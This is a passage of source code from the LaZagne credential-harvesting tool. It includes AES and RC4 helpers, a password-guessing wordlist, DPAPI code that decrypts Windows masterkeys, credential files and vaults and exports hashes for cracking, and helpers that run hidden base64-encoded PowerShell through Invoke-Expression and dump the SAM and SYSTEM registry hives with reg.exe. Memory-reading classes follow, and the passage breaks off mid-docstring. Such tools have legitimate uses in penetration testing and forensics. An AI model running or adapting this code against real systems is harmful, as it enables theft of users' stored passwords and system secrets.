corrupt byte will not damage future blocks. o Each block has a uniue counter value associated with it, which contributes to the encrypted value, so no data patterns are leaked. o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and Segmented Integer Counter (SIC Security Notes: o This method (and CBC) ARE recommended. o Each message block is associated with a counter value which must be unique for ALL messages with the same key. Otherwise security may be compromised. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5 and Appendix B for managing the initial counter''' name = "Counter (CTR)" def __init__(self, key, counter = None): AESBlockModeOfOperation.__init__(self, key) if counter is None: counter = Counter() self._counter = counter self._remaining_counter = [ ] def encrypt(self, plaintext): while len(self._remaining_counter) < len(plaintext): self._remaining_counter += self._aes.encrypt(self._counter.value) self._counter.increment() plaintext = _string_to_bytes(plaintext) encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ] self._remaining_counter = self._remaining_counter[len(encrypted):] return _bytes_to_string(encrypted) def decrypt(self, crypttext): # AES-CTR is symetric return self.encrypt(crypttext) # Simple lookup table for each mode AESModesOfOperation = dict( ctr = AESModeOfOperationCTR, cbc = AESModeOfOperationCBC, cfb = AESModeOfOperationCFB, ecb = AESModeOfOperationECB, ofb = AESModeOfOperationOFB, ) ================================================ FILE: Windows/lazagne/config/crypto/pyaes/blockfeeder.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable # First we inject three functions to each of the modes of operations # # _can_consume(size) # - Given a size, determine how many bytes could be consumed in # a single call to either the decrypt or encrypt method # # _final_encrypt(data, padding = PADDING_DEFAULT) # - call and return encrypt on this (last) chunk of data, # padding as necessary; this will always be at least 16 # bytes unless the total incoming input was less than 16 # bytes # # _final_decrypt(data, padding = PADDING_DEFAULT) # - same as _final_encrypt except for decrypt, for # stripping off padding # PADDING_NONE = 'none' PADDING_DEFAULT = 'default' # @TODO: Ciphertext stealing and explicit PKCS#7 # PADDING_CIPHERTEXT_STEALING # PADDING_PKCS7 # ECB and CBC are block-only ciphers def _block_can_consume(self, size): if size >= 16: return 16 return 0 # After padding, we may have more than one block def _block_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding == PADDING_DEFAULT: data = append_PKCS7_padding(data) elif padding == PADDING_NONE: if len(data) != 16: raise Exception('invalid data length for final block') else: raise Exception('invalid padding option') if len(data) == 32: return self.encrypt(data[:16]) + self.encrypt(data[16:]) return self.encrypt(data) def _block_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding == PADDING_DEFAULT: return strip_PKCS7_padding(self.decrypt(data)) if padding == PADDING_NONE: if len(data) != 16: raise Exception('invalid data length for final block') return self.decrypt(data) raise Exception('invalid padding option') AESBlockModeOfOperation._can_consume = _block_can_consume AESBlockModeOfOperation._final_encrypt = _block_final_encrypt AESBlockModeOfOperation._final_decrypt = _block_final_decrypt # CFB is a segment cipher def _segment_can_consume(self, size): return self.segment_bytes * int(size // self.segment_bytes) # CFB can handle a non-segment-sized block at the end using the remaining cipherblock def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding != PADDING_DEFAULT: raise Exception('invalid padding option') faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) padded = data + to_bufferable(faux_padding) return self.encrypt(padded)[:len(data)] # CFB can handle a non-segment-sized block at the end using the remaining cipherblock def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding != PADDING_DEFAULT: raise Exception('invalid padding option') faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) padded = data + to_bufferable(faux_padding) return self.decrypt(padded)[:len(data)] AESSegmentModeOfOperation._can_consume = _segment_can_consume AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt # OFB and CTR are stream ciphers def _stream_can_consume(self, size): return size def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding not in [PADDING_NONE, PADDING_DEFAULT]: raise Exception('invalid padding option') return self.encrypt(data) def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding not in [PADDING_NONE, PADDING_DEFAULT]: raise Exception('invalid padding option') return self.decrypt(data) AESStreamModeOfOperation._can_consume = _stream_can_consume AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt class BlockFeeder(object): '''The super-class for objects to handle chunking a stream of bytes into the appropriate block size for the underlying mode of operation and applying (or stripping) padding, as necessary.''' def __init__(self, mode, feed, final, padding = PADDING_DEFAULT): self._mode = mode self._feed = feed self._final = final self._buffer = to_bufferable("") self._padding = padding def feed(self, data = None): '''Provide bytes to encrypt (or decrypt), returning any bytes possible from this or any previous calls to feed. Call with None or an empty string to flush the mode of operation and return any final bytes; no further calls to feed may be made.''' if self._buffer is None: raise ValueError('already finished feeder') # Finalize; process the spare bytes we were keeping if data is None: result = self._final(self._buffer, self._padding) self._buffer = None return result self._buffer += to_bufferable(data) # We keep 16 bytes around so we can determine padding result = to_bufferable('') while len(self._buffer) > 16: can_consume = self._mode._can_consume(len(self._buffer) - 16) if can_consume == 0: break result += self._feed(self._buffer[:can_consume]) self._buffer = self._buffer[can_consume:] return result class Encrypter(BlockFeeder): 'Accepts bytes of plaintext and returns encrypted ciphertext.' def __init__(self, mode, padding = PADDING_DEFAULT): BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding) class Decrypter(BlockFeeder): 'Accepts bytes of ciphertext and returns decrypted plaintext.' def __init__(self, mode, padding = PADDING_DEFAULT): BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding) # 8kb blocks BLOCK_SIZE = (1 << 13) def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE): 'Uses feeder to read and convert from in_stream and write to out_stream.' while True: chunk = in_stream.read(block_size) if not chunk: break converted = feeder.feed(chunk) out_stream.write(converted) converted = feeder.feed() out_stream.write(converted) def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): 'Encrypts a stream of bytes from in_stream to out_stream using mode.' encrypter = Encrypter(mode, padding = padding) _feed_stream(encrypter, in_stream, out_stream, block_size) def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): 'Decrypts a stream of bytes from in_stream to out_stream using mode.' decrypter = Decrypter(mode, padding = padding) _feed_stream(decrypter, in_stream, out_stream, block_size) ================================================ FILE: Windows/lazagne/config/crypto/pyaes/util.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # Why to_bufferable? # Python 3 is very different from Python 2.x when it comes to strings of text # and strings of bytes; in Python 3, strings of bytes do not exist, instead to # represent arbitrary binary data, we must use the "bytes" object. This method # ensures the object behaves as we need it to. def to_bufferable(binary): return binary def _get_byte(c): return ord(c) try: xrange except NameError: def to_bufferable(binary): if isinstance(binary, bytes): return binary return bytes(ord(b) for b in binary) def _get_byte(c): return c def append_PKCS7_padding(data): pad = 16 - (len(data) % 16) return data + to_bufferable(chr(pad) * pad) def strip_PKCS7_padding(data): if len(data) % 16 != 0: raise ValueError("invalid length") pad = _get_byte(data[-1]) if pad > 16: raise ValueError("invalid padding byte") return data[:-pad] ================================================ FILE: Windows/lazagne/config/crypto/rc4.py ================================================ # Thanks to g2jun for his RC4-Python project # Code from https://github.com/g2jun/RC4-Python from lazagne.config.winstructure import char_to_int, chr_or_byte class RC4(object): def __init__(self, key): self.key_bytes = self.text_to_bytes(key) def text_to_bytes(self, text): byte_list = [] # on Windows, default coding for Chinese is GBK # s = s.decode('gbk').encode('utf-8') for byte in text: byte_list.append(char_to_int(byte)) return byte_list def bytes_to_text(self, byte_list): s = b'' for byte in byte_list: s += chr_or_byte(byte) return s def encrypt(self, data): plain_bytes = self.text_to_bytes(data) keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes) return self.bytes_to_text(cipher_bytes) def crypt(self, plain_bytes, key_bytes): keystream_list = [] cipher_list = [] key_len = len(key_bytes) plain_len = len(plain_bytes) S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key_bytes[i % key_len]) % 256 S[i], S[j] = S[j], S[i] i = 0 j = 0 for m in range(plain_len): i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256] keystream_list.append(k) cipher_list.append(k ^ plain_bytes[m]) return keystream_list, cipher_list ================================================ FILE: Windows/lazagne/config/dico.py ================================================ def get_dic(): return [ b"password", b"123456", b"12345678", b"1234", b"qwerty", b"12345", b"dragon", b"pussy", b"baseball", b"football", b"letmein", b"monkey", b"696969", b"abc123", b"mustang", b"michael", b"shadow", b"master", b"jennifer", b"111111", b"2000", b"jordan", b"superman", b"harley", b"1234567", b"fuckme", b"hunter", b"fuckyob", b"trustno1", b"ranger", b"buster", b"thomas", b"tigger", b"robert", b"soccer", b"fuck", b"batman", b"test", b"pass", b"killer", b"hockey", b"george", b"charlie", b"andrew", b"michelle", b"love", b"sunshine", b"jessica", b"asshole", b"6969", b"pepper", b"daniel", b"access", b"123456789", b"654321", b"joshua", b"maggie", b"starwars", b"silver", b"william", b"dallas", b"yankees", b"123123", b"ashley", b"666666", b"hello", b"amanda", b"orange", b"biteme", b"freedom", b"computer", b"sexy", b"thunder", b"nicole", b"ginger", b"heather", b"hammer", b"summer", b"corvette", b"taylor", b"fucker", b"austin", b"1111", b"merlin", b"matthew", b"121212", b"golfer", b"cheese", b"princess", b"martin", b"chelsea", b"patrick", b"richard", b"diamond", b"yellow", b"bigdog", b"secret", b"asdfgh", b"sparky", b"cowboy", b"camaro", b"anthony", b"matrix", b"falcon", b"iloveyob", b"bailey", b"guitar", b"jackson", b"purple", b"scooter", b"phoenix", b"aaaaaa", b"morgan", b"tigers", b"porsche", b"mickey", b"maverick", b"cookie", b"nascar", b"peanut", b"justin", b"131313", b"money", b"horny", b"samantha", b"panties", b"steelers", b"joseph", b"snoopy", b"boomer", b"whatever", b"iceman", b"smokey", b"gateway", b"dakota", b"cowboys", b"eagles", b"chicken", b"dick", b"black", b"zxcvbn", b"please", b"andrea", b"ferrari", b"knight", b"hardcore", b"melissa", b"compaq", b"coffee", b"booboo", b"bitch", b"johnny", b"bulldog", b"xxxxxx", b"welcome", b"james", b"player", b"ncc1701", b"wizard", b"scooby", b"charles", b"junior", b"internet", b"bigdick", b"mike", b"brandy", b"tennis", b"blowjob", b"banana", b"monster", b"spider", b"lakers", b"miller", b"rabbit", b"enter", b"mercedes", b"brandon", b"steven", b"fender", b"john", b"yamaha", b"diablo", b"chris", b"boston", b"tiger", b"marine", b"chicago", b"rangers", b"gandalf", b"winter", b"bigtits", b"barney", b"edward", b"raiders", b"porn", b"badboy", b"blowme", b"spanky", b"bigdaddy", b"johnson", b"chester", b"london", b"midnight", b"blue", b"fishing", b"000000", b"hannah", b"slayer", b"11111111", b"rachel", b"sexsex", b"redsox", b"thx1138", b"asdf", b"marlboro", b"panther", b"zxcvbnm", b"arsenal", b"oliver", b"qazwsx", b"mother", b"victoria", b"7777777", b"jasper", b"angel", b"david", b"winner", b"crystal", b"golden", b"butthead", b"viking", b"jack", b"iwantb", b"shannon", b"murphy", b"angels", b"prince", b"cameron", b"girls", b"madison", b"wilson", b"carlos", b"hooters", b"willie", b"startrek", b"captain", b"maddog", b"jasmine", b"butter", b"booger", b"angela", b"golf", b"lauren", b"rocket", b"tiffany", b"theman", b"dennis", b"liverpoo", b"flower", b"forever", b"green", b"jackie", b"muffin", b"turtle", b"sophie", b"danielle", b"redskins", b"toyota", b"jason", b"sierra", b"winston", b"debbie", b"giants", b"packers", b"newyork", b"jeremy", b"casper", b"bubba", b"112233", b"sandra", b"lovers", b"mountain", b"united", b"cooper", b"driver", b"tucker", b"helpme", b"fucking", b"pookie", b"lucky", b"maxwell", b"8675309", b"bear", b"suckit", b"gators", b"5150", b"222222", b"shithead", b"fuckoff", b"jaguar", b"monica", b"fred", b"happy", b"hotdog", b"tits", b"gemini", b"lover", b"xxxxxxxx", b"777777", b"canada", b"nathan", b"victor", b"florida", b"88888888", b"nicholas", b"rosebud", b"metallic", b"doctor", b"trouble", b"success", b"stupid", b"tomcat", b"warrior", b"peaches", b"apples", b"fish", b"qwertyui", b"magic", b"buddy", b"dolphins", b"rainbow", b"gunner", b"987654", b"freddy", b"alexis", b"braves", b"cock", b"2112", b"1212", b"cocacola", b"xavier", b"dolphin", b"testing", b"bond007", b"member", b"calvin", b"voodoo", b"7777", b"samson", b"alex", b"apollo", b"fire", b"tester", b"walter", b"beavis", b"voyager", b"peter", b"porno", b"bonnie", b"rush2112", b"beer", b"apple", b"scorpio", b"jonathan", b"skippy", b"sydney", b"scott", b"red123", b"power", b"gordon", b"travis", b"beaver", b"star", b"jackass", b"flyers", b"boobs", b"232323", b"zzzzzz", b"steve", b"rebecca", b"scorpion", b"doggie", b"legend", b"ou812", b"yankee", b"blazer", b"bill", b"runner", b"birdie", b"bitches", b"555555", b"parker", b"topgun", b"asdfasdf", b"heaven", b"viper", b"animal", b"2222", b"bigboy", b"4444", b"arthur", b"baby", b"private", b"godzilla", b"donald", b"williams", b"lifehack", b"phantom", b"dave", b"rock", b"august", b"sammy", b"cool", b"brian", b"platinum", b"jake", b"bronco", b"paul", b"mark", b"frank", b"heka6w2", b"copper", b"billy", b"cumshot", b"garfield", b"willow", b"cunt", b"little", b"carter", b"slut", b"albert", b"69696969", b"kitten", b"super", b"jordan23", b"eagle1", b"shelby", b"america", b"11111", b"jessie", b"house", b"free", b"123321", b"chevy", b"bullshit", b"white", b"broncos", b"horney", b"surfer", b"nissan", b"999999", b"saturn", b"airborne", b"elephant", b"marvin", b"shit", b"action", b"adidas", b"qwert", b"kevin", b"1313", b"explorer", b"walker", b"police", b"christin", b"december", b"benjamin", b"wolf", b"sweet", b"therock", b"king", b"online", b"dickhead", b"brooklyn", b"teresa", b"cricket", b"sharon", b"dexter", b"racing", b"penis", b"gregory", b"0000", b"teens", b"redwings", b"dreams", b"michigan", b"hentai", b"magnum", b"87654321", b"nothing", b"donkey", b"trinity", b"digital", b"333333", b"stella", b"cartman", b"guinness", b"123abc", b"speedy", b"buffalo", b"kitty"] ================================================ FILE: Windows/lazagne/config/dpapi_structure.py ================================================ #!/usr/bin/python # -*- coding: utf-8 -*- import codecs import os from lazagne.config.DPAPI.masterkey import MasterKeyPool from lazagne.config.DPAPI.credfile import CredFile from lazagne.config.DPAPI.vault import Vault from lazagne.config.DPAPI.blob import DPAPIBlob from lazagne.config.write_output import print_debug from lazagne.config.constant import constant from lazagne.softwares.windows.lsa_secrets import LSASecrets def are_masterkeys_retrieved(): """ Before running modules using DPAPI, we have to retrieve masterkeys otherwise, we do not realize these checks """ current_user = constant.username if constant.pypykatz_result.get(current_user, None): password = constant.pypykatz_result[current_user].get('Password', None) pwdhash = constant.pypykatz_result[current_user].get('Shahash', None) # Create one DPAPI object by user constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash) if not constant.user_dpapi or not constant.user_dpapi.unlocked: # constant.user_password represents the password entered manually by the user constant.user_dpapi = UserDpapi(password=constant.user_password) # Add username to check username equals passwords constant.user_dpapi.check_credentials([constant.username] + constant.password_found) # Return True if at least one masterkey has been decrypted return constant.user_dpapi.unlocked def manage_response(ok, msg): if ok: return msg else: print_debug('DEBUG', u'{msg}'.format(msg=msg)) return False class UserDpapi(object): """ User class for DPAPI functions """ def __init__(self, password=None, pwdhash=None): self.sid = None self.umkp = None self.unlocked = False protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect') credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST') if os.path.exists(protect_folder): for folder in os.listdir(protect_folder): if folder.startswith('S-'): self.sid = folder break if self.sid: masterkeydir = os.path.join(protect_folder, self.sid) if os.path.exists(masterkeydir): self.umkp = MasterKeyPool() self.umkp.load_directory(masterkeydir) self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file) if password: for ok, r in self.umkp.try_credential(sid=self.sid, password=password): if ok: self.unlocked = True print_debug('OK', r) else: print_debug('ERROR', r) elif pwdhash: for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')): if ok: self.unlocked = True print_debug('OK', r) else: print_debug('ERROR', r) def check_credentials(self, passwords): if self.umkp: for password in passwords: for ok, r in self.umkp.try_credential(sid=self.sid, password=password): if ok: self.unlocked = True print_debug('OK', r) else: print_debug('ERROR', r) def decrypt_blob(self, dpapi_blob): """ Decrypt DPAPI Blob """ if self.umkp: blob = DPAPIBlob(dpapi_blob) ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp) return manage_response(ok, msg) def decrypt_cred(self, credfile): """ Decrypt Credential Files """ if self.umkp: with open(credfile, 'rb') as f: c = CredFile(f.read()) ok, msg = c.decrypt(self.umkp, credfile) return manage_response(ok, msg) def decrypt_vault(self, vaults_dir): """ Decrypt Vault Files """ if self.umkp: v = Vault(vaults_dir=vaults_dir) ok, msg = v.decrypt(mkp=self.umkp) return manage_response(ok, msg) def decrypt_encrypted_blob(self, ciphered, entropy_hex=False): """ Decrypt encrypted blob """ if self.umkp: blob = DPAPIBlob(ciphered) ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex) return manage_response(ok, msg) def get_dpapi_hash(self, context='local'): """ Retrieve DPAPI hash to bruteforce it using john or hashcat. """ if self.umkp: return self.umkp.get_dpapi_hash(sid=self.sid, context=context) def get_cleartext_password(self): """ Retrieve cleartext password associated to the preferred user maskterkey. This password should represent the windows user password. """ if self.umkp: return self.umkp.get_cleartext_password() class SystemDpapi(object): """ System class for DPAPI functions Need to have high privilege """ def __init__(self): self.smkp = None self.unlocked = False if not constant.lsa_secrets: # Retrieve LSA secrets LSASecrets().run() if constant.lsa_secrets: masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User' if os.path.exists(masterkeydir): self.smkp = MasterKeyPool() self.smkp.load_directory(masterkeydir) self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM']) for ok, r in self.smkp.try_system_credential(): if ok: print_debug('OK', r) self.unlocked = True else: print_debug('ERROR', r) def decrypt_wifi_blob(self, key_material): """ Decrypt wifi password """ if self.smkp: blob = DPAPIBlob(codecs.decode(key_material, 'hex')) ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp) return manage_response(ok, msg) ================================================ FILE: Windows/lazagne/config/execute_cmd.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python import base64 import os import subprocess import re from lazagne.config.write_output import print_debug from lazagne.config.constant import constant try: import _subprocess as sub STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3 SW_HIDE = sub.SW_HIDE except ImportError: STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW SW_HIDE = subprocess.SW_HIDE def powershell_execute(script, func): """ Execute a powershell script """ output = "" try: script = re.sub("Write-Verbose ", "Write-Output ", script, flags=re.I) script = re.sub("Write-Error ", "Write-Output ", script, flags=re.I) script = re.sub("Write-Warning ", "Write-Output ", script, flags=re.I) full_args = ["powershell.exe", "-NoProfile", "-NoLogo", "-C", "-"] info = subprocess.STARTUPINFO() info.dwFlags = STARTF_USESHOWWINDOW info.wShowWindow = SW_HIDE p = subprocess.Popen(full_args, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True, shell=True) p.stdin.write("$base64=\"\"" + "\n") n = 25000 b64_script = base64.b64encode(script) tab = [b64_script[i:i + n] for i in range(0, len(b64_script), n)] for t in tab: p.stdin.write("$base64+=\"%s\"\n" % t) p.stdin.flush() p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") p.stdin.write("Invoke-Expression $d\n") p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % func) p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") p.stdin.write("Write-Host \"[BEGIN]\"\n") p.stdin.write("Write-Host $b\n") # begin flag used to remove possible bullshit output print before the func is launched if '[BEGIN]' in p.stdout.readline(): # Get the result in base64 for i in p.stdout.readline(): output += i output = base64.b64decode(output) except Exception: pass return output def save_hives(): """ Save SAM Hives """ for h in constant.hives: if not os.path.exists(constant.hives[h]): try: cmdline = 'reg.exe save hklm\\%s %s' % (h, constant.hives[h]) command = ['cmd.exe', '/c', cmdline] info = subprocess.STARTUPINFO() info.dwFlags = STARTF_USESHOWWINDOW info.wShowWindow = SW_HIDE p = subprocess.Popen(command, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True) results, _ = p.communicate() except Exception as e: print_debug('ERROR', u'Failed to save system hives: {error}'.format(error=e)) return False return True def delete_hives(): """ Delete SAM Hives """ # Try to remove all temporary files for h in constant.hives: if os.path.exists(constant.hives[h]): try: os.remove(constant.hives[h]) print_debug('DEBUG', u'Temp {hive} removed: {filename}'.format(hive=h, filename=constant.hives[h])) except Exception: print_debug('DEBUG', u'Temp {hive} failed to removed: {filename}'.format(hive=h, filename=constant.hives[h])) ================================================ FILE: Windows/lazagne/config/lib/__init__.py ================================================ ================================================ FILE: Windows/lazagne/config/lib/memorpy/Address.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from .utils import * class AddressException(Exception): pass class Address(object): """ this class is used to have better representation of memory addresses """ def __init__(self, value, process, default_type = 'uint'): self.value = int(value) self.process = process self.default_type = default_type self.symbolic_name = None def read(self, type = None, maxlen = None, errors='raise'): if maxlen is None: try: int(type) maxlen = int(type) type = None except: pass if not type: type = self.default_type if not maxlen: return self.process.read(self.value, type=type, errors=errors) else: return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors) def write(self, data, type = None): if not type: type = self.default_type return self.process.write(self.value, data, type=type) def symbol(self): return self.process.get_symbolic_name(self.value) def get_instruction(self): return self.process.get_instruction(self.value) def dump(self, ftype = 'bytes', size = 512, before = 32): buf = self.process.read_bytes(self.value - before, size) print(hex_dump(buf, self.value - before, ftype=ftype)) def __nonzero__(self): return self.value is not None and self.value != 0 def __add__(self, other): return Address(self.value + int(other), self.process, self.default_type) def __sub__(self, other): return Address(self.value - int(other), self.process, self.default_type) def __repr__(self): if not self.symbolic_name: self.symbolic_name = self.symbol() return str('') def __str__(self): if not self.symbolic_name: self.symbolic_name = self.symbol() return str('' % (str(self.read()).encode('unicode_escape'), self.default_type)) def __int__(self): return int(self.value) def __hex__(self): return hex(self.value) def __get__(self, instance, owner): return self.value def __set__(self, instance, value): self.value = int(value) def __lt__(self, other): return self.value < int(other) def __le__(self, other): return self.value <= int(other) def __eq__(self, other): return self.value == int(other) def __ne__(self, other): return self.value != int(other) def __gt__(self, other): return self.value > int(other) def __ge__(self, other): return self.value >= int(other) ================================================ FILE: Windows/lazagne/config/lib/memorpy/BaseProcess.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- import struct from .utils import * """ Base class for process not linked to any platform """ class ProcessException(Exception): pass class BaseProcess(object): def __init__(self, *args, **kwargs): """ Create and Open a process object from its pid or from its name """ self.h_process = None self.pid = None self.isProcessOpen = False self.buffer = None self.bufferlen = 0 def __del__(self): self.close() def close(self): pass def iter_region(self, *args, **kwargs): raise NotImplementedError def write_bytes(self, address, data): raise NotImplementedError def read_bytes(self, address, bytes = 4): raise NotImplementedError def get_symbolic_name(self, address): return '0x%08X' % int(address) def read(self, address, type = 'uint', maxlen = 50, errors='raise'): if type == 's' or type == 'string': s = self.read_bytes(int(address), bytes=maxlen) try: idx = s.index(b'\x00') return s[:idx] except: if errors == 'ignore': return s raise ProcessException('string > maxlen') else: if type == 'bytes' or type == 'b': return self.read_bytes(int(address), bytes=maxlen) s, l = type_unpack(type) return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0] def write(self, address, data, type = 'uint'): if type != 'bytes': s, l = type_unpack(type) return self.write_bytes(int(address), struct.pack(s, data)) else: return self.write_bytes(int(address), data) ================================================ FILE: Windows/lazagne/config/lib/memorpy/LinProcess.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . import copy import struct # import utils import platform import ctypes, re, sys from ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno import errno import os import signal from .BaseProcess import BaseProcess, ProcessException from .structures import * import logging logger = logging.getLogger('memorpy') libc=ctypes.CDLL("libc.so.6", use_errno=True) get_errno_loc = libc.__errno_location get_errno_loc.restype = POINTER(c_int) def errcheck(ret, func, args): if ret == -1: _errno = get_errno() or errno.EPERM raise OSError(os.strerror(_errno)) return ret c_ptrace = libc.ptrace c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t c_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p] c_ptrace.restype = c_long mprotect = libc.mprotect mprotect.restype = c_int mprotect.argtypes = [c_void_p, c_size_t, c_int] LARGE_FILE_SUPPORT=False try: c_off64_t=ctypes.c_longlong lseek64 = libc.lseek64 lseek64.argtypes = [c_int, c_off64_t, c_int] lseek64.errcheck=errcheck open64 = libc.open64 open64.restype = c_int open64.argtypes = [c_void_p, c_int] open64.errcheck=errcheck pread64=libc.pread64 pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t] pread64.restype = c_ssize_t pread64.errcheck=errcheck c_close=libc.close c_close.argtypes = [c_int] c_close.restype = c_int LARGE_FILE_SUPPORT=True except: logger.warning("no Large File Support") class LinProcess(BaseProcess): def __init__(self, pid=None, name=None, debug=True, ptrace=None): """ Create and Open a process object from its pid or from its name """ super(LinProcess, self).__init__() self.mem_file=None self.ptrace_started=False if pid is not None: self.pid=pid elif name is not None: self.pid=LinProcess.pid_from_name(name) else: raise ValueError("You need to instanciate process with at least a name or a pid") if ptrace is None: if os.getuid()==0: self.read_ptrace=False # no need to ptrace the process when root to read memory else: self.read_ptrace=True self._open() def check_ptrace_scope(self): """ check ptrace scope and raise an exception if privileges are unsufficient The sysctl settings (writable only with CAP_SYS_PTRACE) are: 0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other process running under the same uid, as long as it is dumpable (i.e. did not transition uids, start privileged, or have called prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is unchanged. 1 - restricted ptrace: a process must have a predefined relationship with the inferior it wants to call PTRACE_ATTACH on. By default, this relationship is that of only its descendants when the above classic criteria is also met. To change the relationship, an inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare an allowed debugger PID to call PTRACE_ATTACH on the inferior. Using PTRACE_TRACEME is unchanged. 2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace with PTRACE_ATTACH, or through children calling 